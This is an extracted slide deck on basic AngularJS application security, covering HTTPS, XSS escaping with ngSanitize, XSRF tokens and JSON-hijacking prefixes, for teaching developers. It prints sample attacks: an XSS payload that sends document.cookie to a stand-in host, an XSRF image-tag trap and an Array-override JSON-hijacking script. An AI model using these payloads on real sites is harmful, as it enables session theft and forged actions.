<I want to> 
Secure my ng-app! 
M A Hossain Tonu
AngularJS is a <battle> tank?
Wakeup! 
It’s just a client side <framework>!
<head-scratching> 
So what to do now?
Do <what> the whole world does!
<Follow> the security checklist 
(basic)!
Basics to secure my ng app! 
• Securing the server 
• Prevent Man-in-the-middle 
• Prevent XSS with NG Sanitize 
• Prevent XSRF 
• Prevent JSON Injection
Security is nothing but doing 
right things in right way.
Securing the Server
Securing the Server 
Authorization + Authentication
Authorization 
OAuth2 
(http://oauth.net/)
Authorization 
Unauthorized access = HTTP 401
Authentication API 
POST /login! 
POST /register ! 
POST /logout ! 
GET /current-user
Preventing Cookie Snooping 
<man-in-the- middle attacks>
HTTPS = Sanity
Http should not be hardcoded 
angular! 
.module(‘app’)! 
.constant('NGCONF_CONFIG', ! 
{! 
baseUrl: ‘/my-precious-url/‘,! 
dbName: 'ngconf'! 
});
<authentication cookie to HTTPS only> 
httpOnly and secure options to true
<Prevent> 
The XSS!
Example, at index.php 
$name = $_GET['name'];! 
echo "Welcome $name<br>";! 
echo "<a href=“http:// 
mythikthaksite.com/“>My 
profile</a>";
Example, at index.php 
index.php? 
name=guest<script>alert('attacked')</ 
script>
Example, at index.php 
index.php?name=<script>window.onload 
= function() {var 
link=document.getElementsByTagName(“ 
a");link[0].href="http://badsite.com/ 
xss?"+document.cookie;}</script>
Escaping is the 
ultimate solution!
AngularJS expressions 
ng-bind 
{{curly braces}}
General defence against XSS! 
$scope.msg = 'Hello, <b>World</b>!'; 
+ 
= 
<p ng-bind="msg"></p> 
<p>Hello, &lt;b&gt;World&lt;/b&gt;!</p>
Display Markup? 
$scope.msg = 'Hello, <b>World</b>!'; 
<p ng-bind-html-unsafe="msg"></p> 
+ 
= 
<p>Hello, <b>World</b>!</p>
Allow safe HTML tags 
$scope.msg = 'Hello, <b>World</b>!'; 
+ 
= 
<p ng-bind-html="msg"></p> 
<p>Hello, <b>World</b>!</p>
ng-bind-html 
• Sanitizes <script> and <style> 
elements 
• Sanitizes attributes that take URLs 
such as href, src, and usemap.
ng-bind-html dependency 
angular.module('expressionsEscaping', 
[‘ngSanitize'])! 
! 
.controller('ExpressionsEscapingCtrl', 
function ($scope) {! 
$scope.msg = 'Hello, <b>World</b>!';! 
});!
$sanitize service 
var safeDescription = 
$sanitize(description);
Preventing XSRF
Example, Follower Trap 
http://my.loggedin.site.com/follow/USERNAME/
Meanwhile in an Evil Page! 
<img 
src=“http://my.loggedin.site.com/follow/USERNAME/“ 
width=“1” 
height=“1”>
$http service comes 
in with a solution!
Solution! 
• Server sets a session cookie XSRF-TOKEN 
• $http extracts this token 
• $http attaches it as a header X-XSRF-TOKEN 
• Token, auth cookie digest with added salt! 
yummy!
JSON injection 
vulnerability
Loggedin at goodsite! 
http://goodsite.com/secret-info.json 
[‘a’, ‘b', 'c']
Meanwhile in an Evil 
Page!
<script type="text/javascript">! 
var json;! 
Array = function() { json = this;};! 
</script>! 
<script src=“http://goodsite.com/secret-info. 
json" type="text/javascript">! 
<script type=“text/javascript"> ! 
for(var index in json) 
{ console.log(json[index]); }! 
</script>
Deliver Invalid JSON! 
)]}', 
[‘a’, ‘b', 'c']
$http service automatically 
strips this prefix string
This is it? 
Now implement 
Your Own Security Patterns :)
Homework for Good kids 
• Adding your own Security Service 
• securityInterceptor Service 
• Secure routes using Route Resolvers
Mastering Web Application 
Development with AngularJS
References 
• AngularJS Authentication Pattern 
• Secure AngularJS
QA?
Who am I? 
! 
http://mahtonu.wordpress.com 
Vantage Labs Dhaka 
@mahtonu 
Authored the title “PHP 
Application Development with 
NetBeans: Beginner's Guide” 
http://link.packtpub.com/6HaElo

More Related Content

PDF
Meteor presentation
PDF
Meteorjs - Futuristic web framework
PDF
PWA 與 Service Worker
PDF
Progressive Web Apps. What, why and how
PPTX
Making Watir and Cucumber an efficient tool for Web UI Automation
PDF
Puppeteer - Headless Chrome Node API
PDF
Service Worker - Reliability bits
PPTX
Real World Lessons in Progressive Web Application & Service Worker Caching
Meteor presentation
Meteorjs - Futuristic web framework
PWA 與 Service Worker
Progressive Web Apps. What, why and how
Making Watir and Cucumber an efficient tool for Web UI Automation
Puppeteer - Headless Chrome Node API
Service Worker - Reliability bits
Real World Lessons in Progressive Web Application & Service Worker Caching

What's hot (20)

PDF
PDF
Spring IO '15 - Developing microservices, Spring Boot or Grails?
PDF
WebHooks in 10 Minutes
PPT
Bigger Stronger Faster
PDF
Firebase slide
PPTX
Drive chrome(headless) with puppeteer
PDF
How to build a Dart and Firebase app in 30 mins
PPTX
React in production
PPTX
007. Redux middlewares
PDF
Case study: JBoss Developer Studio, an IDE for Web, Mobile and Cloud applicat...
PDF
METEOR 101
PDF
Building websites with Node.ACS
PDF
node-webkit : Make a magic from your a desktop app to desktop app!
PPTX
The Art of Documentation and Readme.md for Open Source Projects
PDF
Brief Intro to Phoenix - Elixir Meetup at BukaLapak
PDF
REST to JavaScript for Better Client-side Development
PPT
Grails Plugins
PDF
Service workers
PDF
Improving WordPress performance (xdebug and profiling)
PPTX
Best Practices for creating WP REST API by Galkin Nikita
Spring IO '15 - Developing microservices, Spring Boot or Grails?
WebHooks in 10 Minutes
Bigger Stronger Faster
Firebase slide
Drive chrome(headless) with puppeteer
How to build a Dart and Firebase app in 30 mins
React in production
007. Redux middlewares
Case study: JBoss Developer Studio, an IDE for Web, Mobile and Cloud applicat...
METEOR 101
Building websites with Node.ACS
node-webkit : Make a magic from your a desktop app to desktop app!
The Art of Documentation and Readme.md for Open Source Projects
Brief Intro to Phoenix - Elixir Meetup at BukaLapak
REST to JavaScript for Better Client-side Development
Grails Plugins
Service workers
Improving WordPress performance (xdebug and profiling)
Best Practices for creating WP REST API by Galkin Nikita
Ad

Viewers also liked (12)

PDF
Google Maps API
PDF
Google Map API
PDF
Understanding Microservices
PPT
Software Engineering in PHP
PDF
Google Maps API
PDF
Succeeding with FOSS!
PDF
Understanding meteor
PPT
JavaScript Wash - Story of UI Development
PDF
Before you jump into Angular
PDF
Developing WordPress Plugins : For Begineers
PDF
Build social apps for Facebook
PDF
Introduction to Meteor - Worldwide Meteor Day
Google Maps API
Google Map API
Understanding Microservices
Software Engineering in PHP
Google Maps API
Succeeding with FOSS!
Understanding meteor
JavaScript Wash - Story of UI Development
Before you jump into Angular
Developing WordPress Plugins : For Begineers
Build social apps for Facebook
Introduction to Meteor - Worldwide Meteor Day
Ad

Similar to Secure my ng-app (20)

PPTX
Django Web Application Security
KEY
DVWA BruCON Workshop
PPTX
JWT Authentication with AngularJS
PPTX
How to Use Stormpath in angular js
PPTX
Building Secure User Interfaces With JWTs (JSON Web Tokens)
PPTX
Mitigating CSRF with two lines of codes
PDF
Application Security around OWASP Top 10
PDF
Creating GUI container components in Angular and Web Components
PDF
Asynchronous programming patterns in Perl
PDF
Going realtime with Socket.IO
PPT
Symfony2 and AngularJS
PDF
jQtouch, Building Awesome Webapps
PDF
Performance patterns
PDF
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
PDF
You wanna crypto in AEM
KEY
Rails Presentation (Anton Dmitriyev)
PDF
Building Isomorphic Apps (JSConf.Asia 2014)
PPTX
CBSecurity 3 - Secure Your ColdBox Applications
PDF
How to build a High Performance PSGI/Plack Server
PDF
[convergese] Adaptive Images in Responsive Web Design
Django Web Application Security
DVWA BruCON Workshop
JWT Authentication with AngularJS
How to Use Stormpath in angular js
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Mitigating CSRF with two lines of codes
Application Security around OWASP Top 10
Creating GUI container components in Angular and Web Components
Asynchronous programming patterns in Perl
Going realtime with Socket.IO
Symfony2 and AngularJS
jQtouch, Building Awesome Webapps
Performance patterns
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
You wanna crypto in AEM
Rails Presentation (Anton Dmitriyev)
Building Isomorphic Apps (JSConf.Asia 2014)
CBSecurity 3 - Secure Your ColdBox Applications
How to build a High Performance PSGI/Plack Server
[convergese] Adaptive Images in Responsive Web Design

Recently uploaded (20)

PDF
Architecture types and enterprise applications.pdf
PDF
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PPTX
observCloud-Native Containerability and monitoring.pptx
PDF
A novel scalable deep ensemble learning framework for big data classification...
PDF
Getting started with AI Agents and Multi-Agent Systems
PDF
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PDF
A review of recent deep learning applications in wood surface defect identifi...
PDF
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
PDF
Five Habits of High-Impact Board Members
PPTX
Benefits of Physical activity for teenagers.pptx
PPTX
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
PDF
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
PDF
Taming the Chaos: How to Turn Unstructured Data into Decisions
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PDF
CloudStack 4.21: First Look Webinar slides
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PPTX
Tartificialntelligence_presentation.pptx
PDF
Enhancing emotion recognition model for a student engagement use case through...
Architecture types and enterprise applications.pdf
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
Assigned Numbers - 2025 - Bluetooth® Document
observCloud-Native Containerability and monitoring.pptx
A novel scalable deep ensemble learning framework for big data classification...
Getting started with AI Agents and Multi-Agent Systems
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
A review of recent deep learning applications in wood surface defect identifi...
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
Five Habits of High-Impact Board Members
Benefits of Physical activity for teenagers.pptx
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
Taming the Chaos: How to Turn Unstructured Data into Decisions
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
CloudStack 4.21: First Look Webinar slides
Group 1 Presentation -Planning and Decision Making .pptx
Tartificialntelligence_presentation.pptx
Enhancing emotion recognition model for a student engagement use case through...

Secure my ng-app